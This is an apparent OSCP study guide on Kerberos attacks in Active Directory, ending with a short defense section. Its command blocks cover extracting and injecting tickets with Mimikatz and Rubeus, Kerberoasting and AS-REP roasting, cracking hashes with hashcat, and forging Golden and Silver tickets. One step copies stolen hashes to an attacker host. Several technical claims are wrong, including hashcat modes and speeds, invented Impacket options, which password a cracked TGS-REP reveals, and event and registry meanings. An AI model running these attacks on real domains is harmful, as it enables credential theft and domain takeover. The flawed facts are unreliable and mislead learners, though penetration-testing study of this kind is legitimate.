Offline Kerberos Ticket Cracking
1. Concept — Understanding Kerberos Tickets
1.1 What Are Kerberos Tickets?
Kerberos is the default authentication protocol in Active Directory. Instead of sending passwords over the network, Kerberos uses tickets — encrypted data structures that prove identity. When you gain access to a Windows machine with logged-in users, those tickets live in memory and can be extracted, converted to a crackable hash format, and attacked offline.
The Kerberos authentication flow produces three distinct ticket types, each with different cryptographic properties and attack implications:
| Ticket Type | Full Name | Issued By | Encrypted With | Purpose |
|---|---|---|---|---|
| TGT | Ticket Granting Ticket | KDC (AS) | User’s password hash | Proves identity to the TGS; used to request service tickets |
| TGS | Ticket Granting Service (Service Ticket) | KDC (TGS) | Service account’s password hash | Grants access to a specific service (CIFS, HTTP, MSSQL, etc.) |
| AS-REP | Authentication Server Response | KDC (AS) | User’s password hash | Initial response containing the TGT (only exists when pre-authentication is disabled) |
1.2 The Kerberos Authentication Flow
Understanding the flow is critical to understanding which key encrypts which part of which ticket:
Step 1: AS-REQ → Client sends username to KDC (AS service)
Step 2: AS-REP ← KDC returns TGT (encrypted with krbtgt hash)
+ session key (encrypted with user's password hash)
Step 3: TGS-REQ → Client presents TGT to KDC (TGS service) to request a service ticket
Step 4: TGS-REP ← KDC returns service ticket (encrypted with service account hash)
+ session key (encrypted with TGS session key from TGT)
Step 5: AP-REQ → Client presents service ticket to the target service
The critical insight for attackers: At Step 2, the session key inside the AS-REP is encrypted with the user’s password hash. At Step 4, the session key inside the TGS-REP is encrypted with the TGS session key, which was itself derived from the user’s password. This means both AS-REP and TGS-REP contain data that can be cracked offline to recover the user’s password.
1.3 Encryption Types (etypes)
Kerberos supports multiple encryption algorithms. The encryption type determines which hashcat mode you need and how fast cracking will be.
| etype | Encryption Algorithm | Key Length | Hashcat Mode (TGS) | Hashcat Mode (AS-REP) | Relative Speed |
|---|---|---|---|---|---|
| 23 | RC4-HMAC | 128-bit | 13100 |
18200 |
⚡ Fastest |
| 17 | AES128-CTS-HMAC-SHA1-96 | 128-bit | 19600 |
19700 |
🐢 ~10-20x slower than RC4 |
| 18 | AES256-CTS-HMAC-SHA1-96 | 256-bit | 19600 |
19700 |
🐢🐢 Slowest |
Why RC4 is still relevant: Despite being cryptographically broken, RC4-HMAC (etype 23) remains the default for many Windows domains because it’s required for backward compatibility. Microsoft has not removed it by default. If the domain hasn’t explicitly enforced AES-only, RC4 tickets will be issued.
How each ticket is encrypted with which key:
| What Gets Encrypted | Encrypted With | Crackable to Recover |
|---|---|---|
| AS-REP session key | User’s password hash (RC4/AES) | User’s password |
| TGS-REP session key | TGS session key (derived from user’s password) | User’s password |
| TGT body | krbtgt account password hash |
krbtgt password (Golden Ticket) |
| Service ticket body | Service account password hash | Service account password |
Key Distinction: When you crack a TGS-REP hash extracted from a user’s session, you recover that user’s password (because the session key was derived from it). When you crack the service ticket body itself, you recover the service account’s password. These are different attacks with different hashcat modes.
1.4 Ticket-Based Attack Comparison
| Attack | What You Extract | What You Crack | What You Get |
|---|---|---|---|
| Kerberoasting | TGS service tickets for SPN accounts | Service account password hash | Service account password |
| AS-REP Roasting | AS-REP responses for no-preauth accounts | User password hash | User password |
| Offline Ticket Cracking | TGT or TGS from live memory | User password hash | User password |
| Golden Ticket | N/A (forged) | N/A (you need krbtgt hash) | Domain admin access |
| Silver Ticket | N/A (forged) | N/A (you need service hash) | Access to specific service |
2. Ticket Extraction
2.1 Using Mimikatz
Mimikatz is the most widely used tool for Kerberos ticket extraction. It reads directly from LSASS memory or from the current session’s credential cache.
Listing Tickets
# Start Mimikatz with full privileges
mimikatz # privilege::debug
# List all Kerberos tickets in the current session
mimikatz # kerberos::list
# Example output:
# 0; 0a68f88c-... ; krbtgt/CORP.LOCAL@CORP.LOCAL
# ServiceName : krbtgt/CORP.LOCAL
# TargetName : krbtgt/CORP.LOCAL@CORP.LOCAL
# StartTime : 08/30/2026 10:15:23
# EndTime : 08/30/2026 20:15:23
# RenewTime : 09/06/2026 10:15:23
# EncryptionType : aes256-cts
# Base64 : doIFRDTGAW...
#
# 1; 3b72a91d-... ; CIFS/FILESERVER@CORP.LOCAL
# ServiceName : CIFS/FILESERVER
# TargetName : CIFS/FILESERVER@CORP.LOCAL
# StartTime : 08/30/2026 11:02:45
# EndTime : 08/30/2026 20:15:23
# RenewTime : 09/06/2026 10:15:23
# EncryptionType : rc4-hmac
# Base64 : doIFRDTGAW...
The index number (0, 1, etc.) is used to reference individual tickets for export or injection.
Exporting Tickets
# Export ALL tickets to .kirbi files in the current directory
mimikatz # kerberos::export
# Output:
# [*] Creating 1 ticket(s)
# [0] -> ticket_1_krbtgt~CORP.LOCAL@CORP.LOCAL.kirbi
# [1] -> ticket_2_CIFS~FILESERVER@CORP.LOCAL.kirbi
Each .kirbi file is a binary Kerberos ticket in ASN.1/DER format. The naming convention is: ticket_<index>_<service>~<host>@<realm>.kirbi
Passing the Ticket (PTT)
# Inject a specific ticket into the current session
mimikatz # kerberos::ptt ticket_2_CIFS~FILESERVER@CORP.LOCAL.kirbi
# Verify injection
mimikatz # kerberos::list
# Now you can access the service without providing credentials
dir \\FILESERVER\share
kerberos::ptt (Pass The Ticket) injects the ticket directly into the LSASS credential cache. This is different from Pass The Hash — you’re using the actual Kerberos ticket, not an NTLM hash.
Dumping Credentials from Tickets
# Extract all Kerberos credentials (including plaintext if available)
mimikatz # kerberos::dump
# This attempts to decrypt tickets using available session keys
# If the session key is available in memory, plaintext passwords may be revealed
2.2 Using Rubeus
Rubeus is a purpose-built Kerberos attack framework written in C#. It’s often preferred over Mimikatz for Kerberos-specific operations because it provides richer output and more attack options.
Triage — Survey Available Tickets
# List all tickets with detailed information
Rubeus.exe triage
# Example output:
# * User : jdoe
# ID | ServiceName | TargetName | Start Time | End Time | Renew Time | Etype
# ---- | -------------------- | ------------------------- | ---------------------- | ---------------------- | ---------------------- | -----
# 0 | krbtgt/CORP.LOCAL | krbtgt/CORP.LOCAL@CORP.LOCAL | 08/30/2026 10:15:23 AM | 08/30/2026 10:15:23 PM | 09/06/2026 10:15:23 AM | aes256-cts
# 1 | CIFS/FILESERVER | CIFS/FILESERVER@CORP.LOCAL | 08/30/2026 11:02:45 AM | 08/30/2026 10:15:23 PM | 09/06/2026 10:15:23 AM | rc4-hmac
# 2 | HTTP/WEBAPP | HTTP/WEBAPP@CORP.LOCAL | 08/30/2026 09:30:12 AM | 08/30/2026 10:15:23 PM | 09/06/2026 10:15:23 AM | rc4-hmac
Dump Specific Tickets
# Dump a specific ticket by LUID (Logon User ID)
Rubeus.exe dump /luid:0x123456
# Dump a specific ticket by index
Rubeus.exe dump /ticketid:1
# Dump and save to file
Rubeus.exe dump /luid:0x123456 /outfile:ticket.kirbi
# Dump all tickets for a specific logon session
Rubeus.exe dump /luid:0x123456 /service:CIFS
# Extract hash directly (no file needed)
Rubeus.exe dump /luid:0x123456 /service:CIFS /hash
KList — Alternative Listing
# List tickets for a specific LUID
Rubeus.exe klist /luid:0x123456
# List all tickets (current session)
Rubeus.exe klist
2.3 The .kirbi Format
The .kirbi format is Mimikatz’s native ticket export format. It stores the raw Kerberos ticket in ASN.1 DER encoding.
Key properties:
- Binary format (not human-readable)
- Contains the full ticket structure (enc-part, enc-part for session key, etc.)
- Can be re-injected using
kerberos::ptt - Must be converted to hashcat/John format before cracking
2.4 Converting .kirbi to Crackable Hash Format
To crack a .kirbi ticket, you need to extract the hash in a format that hashcat or John the Ripper understands.
Using Rubeus to Extract Hash
# Extract Kerberoasting hash directly from a service ticket
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt
# Extract with specific output format
Rubeus.exe kerberoast /format:john /outfile:kerberoast_john.txt
Using Impacket’s ticketer.py
# Convert .kirbi to hashcat format
python ticketer.py -hash -ticket ticket.kirbi
# Extract hash from exported ticket
python getTGT.py CORP.LOCAL/user -spool output
Manual Conversion with Rubeus
# The most reliable method: use Rubeus to extract the hash directly
# This bypasses the need for intermediate .kirbi conversion
# For TGS tickets (Kerberoasting)
Rubeus.exe kerberoast /outfile:tgs_hashes.txt
# Output format (hashcat):
# $krb5tgs$23$user@CORP.LOCAL$CIFS~FILESERVER@CORP.LOCAL$...
# $krb5tgs$18$user@CORP.LOCAL$HTTP~WEBAPP@CORP.LOCAL$...
Hash Format Reference
| Format | Prefix | Example |
|---|---|---|
| Hashcat TGS RC4 | $krb5tgs$23$ |
$krb5tgs$23$jdoe@CORP.LOCAL$CIFS~FILESERVER@CORP.LOCAL$e4a8b7... |
| Hashcat TGS AES256 | $krb5tgs$18$ |
$krb5tgs$18$jdoe@CORP.LOCAL$HTTP~WEBAPP@CORP.LOCAL$a3f2c1... |
| Hashcat AS-REP RC4 | $krb5asrep$23$ |
$krb5asrep$23$jdoe@CORP.LOCAL$8f3a2b... |
| Hashcat AS-REP AES256 | $krb5asrep$18$ |
$krb5asrep$18$jdoe@CORP.LOCAL$c7d4e9... |
| John TGS | $krb5tgs$ |
Similar structure, John auto-detects |
| John AS-REP | $krb5asrep$ |
Similar structure, John auto-detects |
3. Cracking Kerberos Tickets
3.1 Hashcat Modes for Kerberos
Hashcat has dedicated modes for each combination of ticket type and encryption algorithm:
| Hashcat Mode | Ticket Type | Encryption | Speed (approx., RTX 4090) |
|---|---|---|---|
| 13100 | TGS-REP | RC4-HMAC (etype 23) | ~300-500 GH/s |
| 18200 | AS-REP | RC4-HMAC (etype 23) | ~300-500 GH/s |
| 19600 | TGS-REP | AES256-CTS (etype 18) | ~15-30 GH/s |
| 19700 | AS-REP | AES256-CTS (etype 18) | ~15-30 GH/s |
Note: AES128 (etype 17) and AES256 (etype 18) share the same hashcat modes (19600/19700). Hashcat auto-detects the key length from the hash structure.
3.2 Practical Cracking Workflow
Step 1: Extract the Tickets
# On the compromised Windows machine
Rubeus.exe kerberoast /format:hashcat /outfile:tgs_hashes.txt
# Or using Mimikatz
mimikatz # kerberos::export
# Then convert .kirbi files to hash format
Step 2: Transfer to Attack Machine
# Copy hashes to Kali/attack machine
scp tgs_hashes.txt attacker@192.168.1.50:/root/oscp/labs/target01/
Step 3: Crack with Hashcat
# Crack RC4-HMAC TGS tickets (fastest)
hashcat -m 13100 -a 0 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
# Crack RC4-HMAC with rules
hashcat -m 13100 -a 0 tgs_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Crack AES256 TGS tickets (slower, use --force if needed)
hashcat -m 19600 -a 0 tgs_aes_hashes.txt /usr/share/wordlists/rockyou.txt
# Crack AS-REP RC4
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# Crack AS-REP AES256
hashcat -m 19700 -a 0 asrep_aes_hashes.txt /usr/share/wordlists/rockyou.txt
# Resume an interrupted session
hashcat --restore
# Show cracked passwords
hashcat -m 13100 --show tgs_hashes.txt
# Remove already-cracked hashes from the input file
hashcat -m 13100 --remove tgs_hashes.txt /usr/share/wordlists/rockyou.txt
Step 4: Crack with John the Ripper
# John auto-detects the format
john --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt
# Specify format explicitly
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt
# For AS-REP hashes
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
# Show cracked passwords
john --show tgs_hashes.txt
# With rules
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt --rules tgs_hashes.txt
3.3 Complete Attack Chain Example
Here is a realistic end-to-end scenario:
# === ON COMPROMISED WINDOWS MACHINE ===
# 1. Enumerate tickets
Rubeus.exe triage
# 2. Identify service tickets (TGS) for SPN accounts
# Found: CIFS/FILESERVER@CORP.LOCAL (etype: rc4-hmac)
# Found: HTTP/WEBAPP@CORP.LOCAL (etype: aes256-cts)
# 3. Extract all Kerberoastable hashes
Rubeus.exe kerberoast /format:hashcat /outfile:C:\temp\kerberoast.txt
# 4. Also check for AS-REP roastable accounts
# (from Kali/Parrot)
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile:asrep_hashes.txt -dc-ip 192.168.1.10
# === ON ATTACK MACHINE ===
# 5. Crack RC4 hashes first (faster)
hashcat -m 13100 -a 0 kerberoast.txt rockyou.txt -r rules/best64.rule --status --status-timer=60
# 6. If RC4 cracks, use password to escalate
# If not, try AES (slower, lower success rate on exam)
hashcat -m 19600 -a 0 kerberoast.txt rockyou.txt -r rules/best64.rule
# 7. Crack AS-REP hashes
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt -r rules/best64.rule
# 8. Use cracked credentials
# If service account password cracked → access service directly
# If user password cracked → PTH, RDP, or service access
3.4 Performance Optimization Tips
| Technique | Command | Effect |
|---|---|---|
| GPU optimization | hashcat -w 3 |
Workload profile 3 (maximum) |
| Multiple GPUs | hashcat -O -m 13100 ... |
Optimized kernel for multiple GPUs |
| Session restore | hashcat --restore |
Resume after crash/interruption |
| Pot file management | hashcat --pot-file custom.pot |
Separate pot files per target |
| Remove cracked | hashcat --remove |
Focus GPU on remaining hashes |
| Benchmark first | hashcat -m 13100 -b |
Know your speed before committing |
4. Golden Ticket vs Silver Ticket vs Overpass-the-Hash
These three advanced Kerberos attacks are closely related to ticket extraction and cracking. Understanding their differences is essential for the OSCP exam.
4.1 Golden Ticket
A Golden Ticket is a forged TGT created when you have the krbtgt account’s NTLM hash.
| Property | Detail |
|---|---|
| What you need | krbtgt NTLM hash, domain SID, domain name |
| What you get | Valid TGT for any user, any service, any duration |
| How to get krbtgt hash | DCSync, NTDS.dit extraction, or cracking a captured TGT |
| Detection difficulty | Low — tickets appear legitimate; krbtgt hash changes invalidate them |
# Create a Golden Ticket with Mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# The /ptt flag injects it directly into the session
# Now you have domain admin access everywhere
Relation to ticket cracking: If you extract and crack a TGT from memory, you might recover the krbtgt password (rare, but possible). More commonly, you’d use DCSync to get the krbtgt hash and forge a Golden Ticket without cracking.
4.2 Silver Ticket
A Silver Ticket is a forged service ticket (TGS) created when you have a specific service account’s NTLM hash.
| Property | Detail |
|---|---|
| What you need | Service account NTLM hash, domain SID, service name |
| What you get | Access to ONE specific service (e.g., CIFS on a file server) |
| Advantage over Golden | Doesn’t touch the KDC — harder to detect |
| Limitation | Only works for the specific service you forged |
# Create a Silver Ticket with Mimikatz
mimikatz # kerberos::silver /domain:CORP.LOCAL /sid:S-1-5-21-xxx /target:FILESERVER.CORP.LOCAL /service:CIFS /rc4:HASH /user:attacker /ptt
# Now you can access \\FILESERVER\share without authenticating to the KDC
Relation to ticket cracking: If you crack a TGS service ticket, you recover the service account’s password — which gives you everything needed to forge a Silver Ticket for that service.
4.3 Overpass-the-Hash
Overpass-the-Hash converts an NTLM hash into a Kerberos TGT, allowing you to use the hash in Kerberos-based attacks.
| Property | Detail |
|---|---|
| What you need | User’s NTLM hash |
| What you get | Valid Kerberos TGT for that user |
| Why use it | Enables Kerberoasting, delegation attacks, and other Kerberos techniques |
| Alternative | Pass-the-Hash (uses NTLM directly, no Kerberos) |
# Convert NTLM hash to TGT using Mimikatz
mimikatz # kerberos::ptt # (after requesting TGT with hash)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:target /domain:CORP /ntlm:HASH /run:powershell
# Or using Rubeus
Rubeus.exe asktgt /user:target /rc4:HASH /domain:CORP.LOCAL /ptt
Relation to ticket cracking: If you crack a user’s password from a TGS-REP, you can then use Overpass-the-Hash with their NTLM hash to request new TGTs and TGS tickets — enabling full Kerberos-based lateral movement.
4.4 Comparison Table
| Attack | Prerequisite | Scope | KDC Contact | Detection Risk |
|---|---|---|---|---|
| Golden Ticket | krbtgt hash |
Domain-wide | No (forged TGT) | Low-Medium |
| Silver Ticket | Service account hash | Single service | No (forged TGS) | Low |
| Overpass-the-Hash | User NTLM hash | User’s permissions | Yes (requests real TGT) | Medium |
| Pass-the-Ticket | Extracted .kirbi | Ticket’s scope | No (reuses ticket) | Low |
| Kerberoasting | Domain user | SPN accounts | Yes (requests TGS) | Medium |
5. Defense and Mitigation
5.1 Encryption Type Enforcement
The single most impactful defense is forcing AES encryption and disabling RC4:
# Enforce AES encryption via Group Policy
# Computer Configuration → Policies → Windows Settings → Security Settings
# → Local Policies → Security Options
# → Network security: Configure encryption types allowed for Kerberos
# Recommended settings:
# AES128_HMAC_SHA1
# AES256_HMAC_SHA1
# (Remove RC4_HMAC_MD5)
Registry equivalent:
# On domain controllers
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" `
-Name "SupportedEncryptionTypes" -Value 28 -PropertyType DWord -Force
# Value 28 = AES128 (8) + AES256 (16) + Future (4)
# Value 0 = Use domain default
5.2 Password Policy Hardening
| Control | Recommendation | Implementation |
|---|---|---|
| Minimum length | ≥ 14 characters | GPO: Minimum password length |
| Complexity | Required | GPO: Password must meet complexity |
| Service accounts | 24+ characters, random | Use managed service accounts (gMSA) |
| krbtgt password | 50+ characters, changed regularly | Manual or automated rotation |
| Password history | ≥ 24 passwords | GPO: Enforce password history |
5.3 Kerberos-Specific Defenses
| Defense | Description | Impact |
|---|---|---|
| Managed Service Accounts (gMSA) | Auto-managed passwords for services | Eliminates Kerberoasting risk for those services |
| AES enforcement | Disable RC4-HMAC (etype 23) | Makes cracking 10-20x slower |
| Pre-authentication enforcement | Ensure DONT_REQ_PREAUTH is never set | Eliminates AS-REP roasting |
| Ticket monitoring | Alert on unusual TGT/TGS requests | Early detection of ticket attacks |
| Event 4769 monitoring | Kerberos TGS event auditing | Detects service ticket requests |
| Event 4768 monitoring | Kerberos TGT event auditing | Detects TGT requests (Golden Ticket indicator) |
| Kerberos armoring | Enable ticket armoring (Windows Server 2012+) | Adds replay protection to tickets |
5.4 Monitoring and Detection
# Enable Kerberos auditing
Auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
Auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
# Key Event IDs to monitor:
# 4768 — A Kerberos authentication ticket (TGT) was requested
# 4769 — A Kerberos service ticket was requested
# 4770 — A Kerberos service ticket was renewed
# 4771 — Kerberos pre-authentication failed
# 4772 — A user's group membership was evaluated
# 4776 — The computer received a plaintext authentication (NTLM)
6. OSCP Exam Tips
Essential Commands to Memorize
# Ticket extraction (Mimikatz)
kerberos::list
kerberos::export
kerberos::ptt ticket.kirbi
# Ticket extraction (Rubeus)
Rubeus.exe triage
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# Hashcat cracking
hashcat -m 13100 -a 0 hashes.txt rockyou.txt # TGS RC4
hashcat -m 18200 -a 0 hashes.txt rockyou.txt # AS-REP RC4
hashcat -m 19600 -a 0 hashes.txt rockyou.txt # TGS AES256
hashcat -m 19700 -a 0 hashes.txt rockyou.txt # AS-REP AES256
# John the Ripper
john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
john --format=krb5asrep --wordlist=rockyou.txt hashes.txt
Exam Decision Tree
You have access to a Windows machine with logged-in users
│
├─ Can you run Mimikatz/Rubeus?
│ ├─ YES → Extract tickets (kerberos::export / Rubeus triage)
│ │ ├─ RC4 tickets found? → hashcat -m 13100 (fast)
│ │ └─ AES tickets found? → hashcat -m 19600 (slower, try anyway)
│ │
│ └─ NO → Can you request TGS tickets?
│ ├─ YES → Kerberoasting (Rubeus kerberoast from target)
│ └─ NO → Focus on other attack vectors
│
├─ Can you reach the KDC?
│ ├─ YES → Check for AS-REP roastable accounts
│ │ GetNPUsers.py domain/ -format hashcat -no-pass
│ │
│ └─ Have you cracked a password?
│ ├─ YES → Use for lateral movement (RDP, SMB, psexec)
│ └─ NO → Try rules, larger wordlists, or mask attacks
Common Exam Scenarios
-
Kerberoasting on a domain-joined machine: You have a low-privilege domain user. Run
Rubeus.exe kerberoastto extract service ticket hashes. Crack with hashcat mode 13100. Use the cracked service account password to access the service (often SQL Server or a web app). -
AS-REP Roasting: A user account has pre-authentication disabled. Use
GetNPUsers.pyto capture the AS-REP hash. Crack with hashcat mode 18200. Use the recovered password to authenticate as that user. -
Pass-the-Ticket: You extract a
.kirbiticket from memory. Usekerberos::pttto inject it. Access the service the ticket grants access to — no cracking needed. -
TGS cracking leads to service compromise: Crack a TGS-REP to get a service account password. Use that password to authenticate to the service (MSSQL, CIFS, HTTP) and achieve the objective.
Pitfalls to Avoid
| Pitfall | Why It Happens | How to Avoid |
|---|---|---|
| Wrong hashcat mode | Confusing TGS (13100) with AS-REP (18200) | Check the hash prefix: $krb5tgs$ vs $krb5asrep$ |
| AES tickets taking forever | AES is 10-20x slower than RC4 | Try RC4 hashes first; set realistic time expectations for AES |
| Forgetting /ptt flag | Golden/Silver ticket created but not injected | Always use /ptt in Mimikatz for immediate effect |
| Not checking encryption type | Assuming RC4 when AES is enforced | Use Rubeus.exe triage to check etype before attacking |
| Cracking the wrong hash | Confusing user hash with service hash | TGS-REP cracks to user password; service ticket body cracks to service password |
7. Quick Reference
Hashcat Mode Quick Lookup
TGS-REP:
RC4 (etype 23) → mode 13100
AES256 (etype 18) → mode 19600
AS-REP:
RC4 (etype 23) → mode 18200
AES256 (etype 18) → mode 19700
Tool Selection Guide
| Goal | Tool | Command |
|---|---|---|
| List tickets | Mimikatz | kerberos::list |
| List tickets | Rubeus | Rubeus.exe triage |
| Export all tickets | Mimikatz | kerberos::export |
| Kerberoast | Rubeus | Rubeus.exe kerberoast /format:hashcat |
| AS-REP roast | Impacket | GetNPUsers.py domain/ -format hashcat -no-pass |
| Inject ticket | Mimikatz | kerberos::ptt ticket.kirbi |
| Crack TGS RC4 | Hashcat | hashcat -m 13100 |
| Crack TGS AES | Hashcat | hashcat -m 19600 |
| Crack AS-REP RC4 | Hashcat | hashcat -m 18200 |
| Crack AS-REP AES | Hashcat | hashcat -m 19700 |
| Golden Ticket | Mimikatz | kerberos::golden |
| Silver Ticket | Mimikatz | kerberos::silver |
| Overpass-the-Hash | Rubeus | Rubeus.exe asktgt /rc4:HASH /ptt |
Master offline Kerberos ticket cracking by practicing the full chain: extract → convert → crack → use. The OSCP exam frequently tests Kerberoasting and AS-REP roasting as they require minimal initial access and can lead to significant privilege escalation.